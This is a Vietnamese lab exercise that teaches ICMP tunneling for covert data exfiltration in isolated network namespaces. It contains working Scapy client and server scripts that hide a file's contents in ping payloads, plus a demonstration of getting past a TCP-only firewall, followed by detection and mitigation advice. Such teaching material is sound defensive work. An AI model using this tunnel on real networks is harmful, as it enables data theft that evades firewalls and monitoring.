BÀI THỰC HÀNH 03

Kỹ thuật tấn công ICMP Tunneling

ICMP Tunneling — Covert Channel / Data Exfiltration

Thời lượng	90 phút
Mức độ	Trung bình
Môi trường	1 VM Kali Linux · ip netns + veth
Công cụ	Scapy, tcpdump, iptables

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu cách **nhồi dữ liệu vào phần payload của gói ICMP** echo request/reply để tạo kênh ngầm (covert channel).
- Tự viết một **ICMP tunnel** client/server đơn giản bằng Scapy để rò rỉ (exfiltrate) dữ liệu.
- Chứng minh tunnel **vượt qua tường lửa** chỉ chặn TCP nhưng cho phép ICMP.
- Nhận biết dấu hiệu phát hiện lưu lượng ICMP bất thường.

Kiến thức nền tối thiểu

- Gói ICMP echo (ping) có vùng payload tùy ý — thường chứa dữ liệu đệm, nhưng có thể chứa **bất kỳ dữ liệu nào**.
- Nhiều mạng cho phép ping ra ngoài ⇒kẻ tấn công lợi dụng để tuồn dữ liệu/điều khiển mà qua mặt bộ lọc tầng 4.
- Khác với các kỹ thuật đã lỗi thời trong bộ bài này, ICMP tunneling **vẫn hiệu quả** trên hệ thống hiện đại — phòng thủ dựa vào giám sát & lọc, không phải vá lỗi.

1. Chuẩn bị môi trường

▸ setup_pair.sh — h1 = client (nội bộ), h2 = server (bên ngoài)

```
#!/bin/bash
# setup_pair.sh - Dung 2 namespace (h1, h2) noi voi nhau qua mot lien ket veth
set -e
ip netns add h1
ip netns add h2
ip link add veth1 type veth peer name veth2
ip link set veth1 netns h1
ip link set veth2 netns h2
ip netns exec h1 ip addr add 10.0.0.1/24 dev veth1
ip netns exec h2 ip addr add 10.0.0.2/24 dev veth2
ip netns exec h1 ip link set veth1 up
ip netns exec h2 ip link set veth2 up
ip netns exec h1 ip link set lo up
ip netns exec h2 ip link set lo up
```

```
echo "[+] Topo san sang. Kiem tra ket noi:"
ip netns exec h1 ping -c2 10.0.0.2
```

Tắt auto-reply của kernel trên server để chỉ chương trình của ta xử lý ICMP:

```
ip netns exec h2 sysctl -w net.ipv4.icmp_echo_ignore_all=1
```

2. Các bước thực hành

Bước 2.1 — Máy chủ tunnel (h2) giải mã dữ liệu nhận được

▸ *Terminal server (h2) — giữ chạy*

```
cat > /tmp/icmp_server.py <<'EOF'
from scapy.all import *
def handle(p):
    if p.haslayer(ICMP) and p[ICMP].type == 8:          # echo request
        data = bytes(p[ICMP].payload)
        print("[server] nhan:", data)
        reply = IP(dst=p[IP].src)/ICMP(type=0, id=p[ICMP].id,
                   seq=p[ICMP].seq)/(b"ACK:" + data)     # kenh 2 chieu
        send(reply, verbose=0)
print("[server] dang lang nghe ICMP tren veth2 ...")
sniff(iface="veth2", filter="icmp", prn=handle)
EOF
ip netns exec h2 python3 /tmp/icmp_server.py
```

Bước 2.2 — Máy khách (h1) tuồn nội dung một tệp qua ICMP

▸ *Terminal client (h1)*

```
cat > /tmp/icmp_client.py <<'EOF'
from scapy.all import *
target = "10.0.0.2"; chunk = 24
data = open("/etc/hostname", "rb").read().strip() or b"secret-token-ABC123"
for i in range(0, len(data), chunk):
    seg = data[i:i+chunk]
    ans = sr1(IP(dst=target)/ICMP(type=8, id=0x1337, seq=i // chunk)/seg,
              timeout=2, verbose=0)
    if ans:
        print("[client] phan hoi:", bytes(ans[ICMP].payload))
print("[client] hoan tat gui du lieu qua ICMP")
EOF
ip netns exec h1 python3 /tmp/icmp_client.py
```

Bước 2.3 — Quan sát dữ liệu "cưỡi" trên ICMP

▸ *Terminal quan sát*

```
ip netns exec h2 tcpdump -i veth2 -nn -A icmp
```

✓**Kết quả mong đợi:** tcpdump hiển thị rõ nội dung tệp (dạng ASCII) nằm trong payload của các gói ICMP echo — dữ liệu đã bị tuồn ra ngoài chỉ bằng "ping".

Bước 2.4 — Chứng minh vượt tường lửa chặn TCP

```
# Gia lap tuong lua tren server: chan MOI ket noi TCP, nhung van cho ICMP
ip netns exec h2 iptables -A INPUT -p tcp -j DROP
# => Thu ket noi TCP se that bai:
```

```
ip netns exec h1 nc -w2 10.0.0.2 9000 ; echo "TCP ket qua: $?"
# => Nhung chay lai icmp_client.py van tuon duoc du lieu
```

✓**Kết quả mong đợi:** Kết nối TCP bị tường lửa chặn (thất bại), trong khi ICMP tunnel vẫn hoạt động — minh họa vì sao chỉ lọc TCP/UDP là không đủ.

Phòng chống (Mitigation)

- Giám sát lưu lượng ICMP: kích thước payload bất thường (ping chuẩn 56 byte), tần suất cao, tỉ lệ echo-request/reply lệch.
- Giới hạn hoặc chặn ICMP echo đi ra tại biên (egress filtering) nếu nghiệp vụ không cần.
- Dùng IDS/IPS (Suricata/Snort) với luật phát hiện ICMP tunneling; phân tích entropy payload.
- Giám sát hành vi (UEBA) để phát hiện exfiltration qua kênh phụ.

Câu hỏi ôn tập

1. Vì sao payload ICMP lại là nơi lý tưởng để giấu dữ liệu? Ping hợp lệ thường có payload bao nhiêu byte?
2. Trong Bước 2.4, tại sao tường lửa lọc theo cổng (port) không chặn được tunnel? Cần bổ sung biện pháp gì?
3. Liệt kê 3 đặc trưng giúp IDS phát hiện ICMP tunnel.
4. Nếu dữ liệu được mã hóa trước khi nhồi vào ICMP, những phương pháp phát hiện nào vẫn còn hiệu lực?

Tài liệu tham khảo

- RFC 792 — Internet Control Message Protocol.
- Loki project (Phrack Magazine #49, #51) — ICMP covert channel.
- Công cụ tham khảo: ptunnel, icmptunnel.